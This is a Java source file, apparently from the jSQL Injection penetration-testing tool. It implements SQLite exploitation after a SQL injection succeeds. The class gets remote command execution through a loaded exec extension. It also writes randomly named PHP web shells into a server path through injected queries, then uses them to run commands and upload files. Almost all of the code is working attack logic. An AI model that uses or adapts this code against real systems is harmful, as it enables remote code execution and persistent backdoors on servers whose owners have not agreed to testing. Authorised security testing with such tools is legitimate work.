View Javadoc
1   package com.jsql.model.accessible.vendor;
2   
3   import com.jsql.model.InjectionModel;
4   import com.jsql.model.accessible.DataAccess;
5   import com.jsql.model.accessible.ResourceAccess;
6   import com.jsql.model.accessible.vendor.sqlite.ModelYamlSqlite;
7   import com.jsql.model.bean.util.Interaction;
8   import com.jsql.model.bean.util.Request;
9   import com.jsql.model.exception.JSqlException;
10  import com.jsql.model.exception.JSqlRuntimeException;
11  import com.jsql.util.LogLevelUtil;
12  import com.jsql.util.StringUtil;
13  import org.apache.commons.lang3.RandomStringUtils;
14  import org.apache.commons.lang3.StringUtils;
15  import org.apache.logging.log4j.LogManager;
16  import org.apache.logging.log4j.Logger;
17  import org.yaml.snakeyaml.Yaml;
18  
19  import java.io.File;
20  import java.io.FileInputStream;
21  import java.io.IOException;
22  import java.io.InputStream;
23  import java.net.http.HttpResponse;
24  import java.util.UUID;
25  import java.util.function.BinaryOperator;
26  
27  public class ExploitSqlite {
28  
29      /**
30       * Log4j logger sent to view.
31       */
32      private static final Logger LOGGER = LogManager.getRootLogger();
33      private final InjectionModel injectionModel;
34      private final ModelYamlSqlite modelYaml;
35  
36      public ExploitSqlite(InjectionModel injectionModel) {
37          this.injectionModel = injectionModel;
38          var yaml = new Yaml();
39          this.modelYaml = yaml.loadAs(
40              injectionModel.getMediatorVendor().getSqlite().instance().getModelYaml().getResource().getExploit(),
41              ModelYamlSqlite.class
42          );
43      }
44  
45      public void createUdf() {
46          LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "RCE UDF requirements: extension exec loaded");
47          var result = this.injectionModel.getResourceAccess().getResultWithCatch(String.format(
48              this.modelYaml.getExtension().getExec(),
49              ResourceAccess.WEB_CONFIRM_CMD +"%20"
50          ), ResourceAccess.TBL_READ);
51          if (result.contains(ResourceAccess.WEB_CONFIRM_RESULT)) {
52              LOGGER.log(LogLevelUtil.CONSOLE_SUCCESS, "RCE UDF successful: command execution found");
53              var request = new Request();
54              request.setMessage(Interaction.ADD_TAB_EXPLOIT_RCE_SQLITE);
55              request.setParameters(null, null);
56              this.injectionModel.sendToViews(request);
57          }
58      }
59  
60      public String runRce(String command, UUID uuidShell) {
61          String result;
62          try {
63              result = this.injectionModel.getResourceAccess().getResult(String.format(
64                  this.modelYaml.getExtension().getExec(),
65                  command.replace(StringUtils.SPACE, "%20")
66              ), ResourceAccess.RUN_FUNC);
67          } catch (JSqlException e) {
68              result = String.format(ResourceAccess.TEMPLATE_ERROR, e.getMessage(), command);
69          }
70          var request = new Request();
71          request.setMessage(Interaction.GET_EXPLOIT_RCE_RESULT);
72          request.setParameters(uuidShell, result.trim() +"\n");  // missing newline on some extensions
73          this.injectionModel.sendToViews(request);
74          return result;
75      }
76  
77      public String createWeb(String pathExploit, String urlExploit) {
78          LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "RCE Web target requirements: stack query, web+db on same machine");
79  
80          String bodyExploit = StringUtil.base64Decode(
81                  this.injectionModel.getMediatorUtils().getPropertiesUtil().getProperty("exploit.web")
82              )
83              .replace(DataAccess.SHELL_LEAD, DataAccess.LEAD)
84              .replace(DataAccess.SHELL_TRAIL, DataAccess.TRAIL);
85          var nameDbRandom = RandomStringUtils.secure().nextAlphabetic(8);
86          var nameTableRandom = RandomStringUtils.secure().nextAlphabetic(8);
87          var nameExploit = nameDbRandom + nameTableRandom +".php";
88          this.injectionModel.injectWithoutIndex(String.format(
89              this.modelYaml.getWriteFile(),
90              pathExploit + nameExploit, nameDbRandom,
91              nameDbRandom, nameTableRandom,
92              nameDbRandom, nameTableRandom, bodyExploit
93          ), ResourceAccess.TBL_DUMP);
94  
95          BinaryOperator<String> biFuncGetRequest = (String pathExploitFixed, String urlSuccess) -> {
96              String result = this.injectionModel.getResourceAccess().callCommand(
97                  urlSuccess +"?c="+ ResourceAccess.WEB_CONFIRM_CMD
98              );
99              if (!result.contains(ResourceAccess.WEB_CONFIRM_RESULT)) {
100                 LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "Exploit body not found");
101                 return StringUtils.EMPTY;
102             }
103 
104             var request = new Request();
105             request.setMessage(Interaction.ADD_TAB_EXPLOIT_WEB);
106             request.setParameters(urlSuccess);
107             this.injectionModel.sendToViews(request);
108             return urlSuccess;
109         };
110 
111         return this.injectionModel.getResourceAccess().checkUrls(urlExploit, nameExploit, biFuncGetRequest);
112     }
113 
114     public void createUpload(String pathExploit, String urlExploit, File fileToUpload) {
115         String bodyExploit = StringUtil.base64Decode(
116                 this.injectionModel.getMediatorUtils().getPropertiesUtil().getProperty(ResourceAccess.EXPLOIT_DOT_UPL)
117             )
118             .replace(DataAccess.SHELL_LEAD, DataAccess.LEAD)
119             .replace(DataAccess.SHELL_TRAIL, DataAccess.TRAIL);
120         var nameDbRandom = RandomStringUtils.secure().nextAlphabetic(8);
121         var nameTableRandom = RandomStringUtils.secure().nextAlphabetic(8);
122         var nameExploit = nameDbRandom + nameTableRandom +".php";
123         this.injectionModel.injectWithoutIndex(String.format(
124             this.modelYaml.getWriteFile(),
125             pathExploit + nameExploit, nameDbRandom,
126             nameDbRandom, nameTableRandom,
127             nameDbRandom, nameTableRandom, bodyExploit
128         ), ResourceAccess.TBL_DUMP);
129 
130         BinaryOperator<String> biFuncGetRequest = (String pathExploitFixed, String urlSuccess) -> {
131             try (InputStream streamToUpload = new FileInputStream(fileToUpload)) {
132                 HttpResponse<String> result = this.injectionModel.getResourceAccess().upload(fileToUpload, urlSuccess, streamToUpload);
133                 if (result.body().contains(DataAccess.LEAD +"y")) {
134                     LOGGER.log(LogLevelUtil.CONSOLE_SUCCESS, ResourceAccess.UPLOAD_SUCCESSFUL, pathExploit, fileToUpload.getName());
135                 } else {
136                     LOGGER.log(LogLevelUtil.CONSOLE_ERROR, ResourceAccess.UPLOAD_FAILURE, pathExploit, fileToUpload.getName());
137                 }
138             } catch (InterruptedException e) {
139                 LOGGER.log(LogLevelUtil.IGNORE, e, e);
140                 Thread.currentThread().interrupt();
141             } catch (IOException | JSqlException e) {
142                 throw new JSqlRuntimeException(e);
143             }
144             return urlSuccess;
145         };
146 
147         this.injectionModel.getResourceAccess().checkUrls(urlExploit, nameExploit, biFuncGetRequest);
148     }
149 
150     public ModelYamlSqlite getModelYaml() {
151         return this.modelYaml;
152     }
153 }